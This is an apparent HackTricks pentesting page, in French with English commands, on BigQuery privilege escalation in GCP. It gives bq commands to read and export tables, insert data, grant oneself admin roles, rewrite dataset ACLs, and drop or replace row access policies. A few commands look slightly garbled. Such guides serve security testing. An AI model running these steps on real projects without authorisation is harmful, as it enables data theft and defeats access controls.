GCP - BigQuery Privesc

Soutenez HackTricks

BigQuery

Pour plus d'informations sur BigQuery, consultez :

GCP - Bigquery Enum

Lire une Table

Lire les informations stockées dans une table BigQuery peut permettre de trouver des informations sensibles. Pour accéder à ces informations, les permissions nécessaires sont bigquery.tables.get, bigquery.jobs.create et bigquery.tables.getData :

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Export data

C'est une autre façon d'accéder aux données. Exportez-les vers un bucket de cloud storage et téléchargez les fichiers avec les informations. Pour effectuer cette action, les permissions suivantes sont nécessaires : bigquery.tables.export, bigquery.jobs.create et storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insert data

Il pourrait être possible d'introduire certaines données de confiance dans une table Bigquery pour abuser d'une vulnérabilité ailleurs. Cela peut être facilement fait avec les permissions bigquery.tables.get, bigquery.tables.updateData et bigquery.jobs.create :

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Un attaquant pourrait abuser de ce privilège pour s'accorder des permissions supplémentaires sur un dataset BigQuery :

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Juste cette permission permet de mettre à jour votre accès à un dataset BigQuery en modifiant les ACLs qui indiquent qui peut y accéder :

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

Un attaquant pourrait abuser de ce privilège pour s'accorder des permissions supplémentaires sur une table BigQuery :

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Selon la documentation, avec les permissions mentionnées, il est possible de mettre à jour une politique de ligne. Cependant, en utilisant le cli bq vous avez besoin de plus : bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Il est possible de trouver l'ID du filtre dans la sortie de l'énumération des politiques de ligne. Exemple :

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

Si vous avez bigquery.rowAccessPolicies.delete au lieu de bigquery.rowAccessPolicies.update, vous pouvez également simplement supprimer la politique :

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Une autre option potentielle pour contourner les politiques d'accès aux lignes serait de simplement changer la valeur des données restreintes. Si vous ne pouvez voir que lorsque term est Cfba, modifiez simplement tous les enregistrements de la table pour avoir term = "Cfba". Cependant, cela est empêché par bigquery.

Soutenez HackTricks

Last updated